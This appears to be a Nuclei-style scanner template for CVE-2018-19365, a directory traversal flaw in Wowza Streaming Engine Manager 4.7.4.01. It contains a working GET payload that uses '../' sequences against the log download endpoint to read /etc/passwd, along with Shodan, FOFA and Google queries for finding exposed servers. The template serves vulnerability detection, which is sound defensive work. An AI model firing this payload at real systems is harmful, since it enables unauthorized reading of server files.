id: CVE-2018-19365

info:
  name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or disclosure of sensitive information.
  remediation: |
    Upgrade to the latest version of Wowza Streaming Engine Manager or apply the necessary patches to fix the directory traversal vulnerability.
  reference:
    - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19365
    - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2018-19365
    cwe-id: CWE-22
    epss-score: 0.8708
    epss-percentile: 0.99455
    cpe: cpe:2.3:a:wowza:streaming_engine:4.7.4.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wowza
    product: streaming_engine
    shodan-query:
      - http.title:"manager" product:"wowza streaming engine"
      - cpe:"cpe:2.3:a:wowza:streaming_engine"
    fofa-query: title="manager" product:"wowza streaming engine"
    google-query: intitle:"manager" product:"wowza streaming engine"
  tags: cve2018,cve,wowza,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b14dd15fba4483af8f05bf916da21471232492f8d344b5b2d1138774033fb7f50221008c74781747cdb71cfa37e5632f6920e8404e0ab42b866cc52977bc756fcd5b58:922c64590222798bb761d5b6d8e72950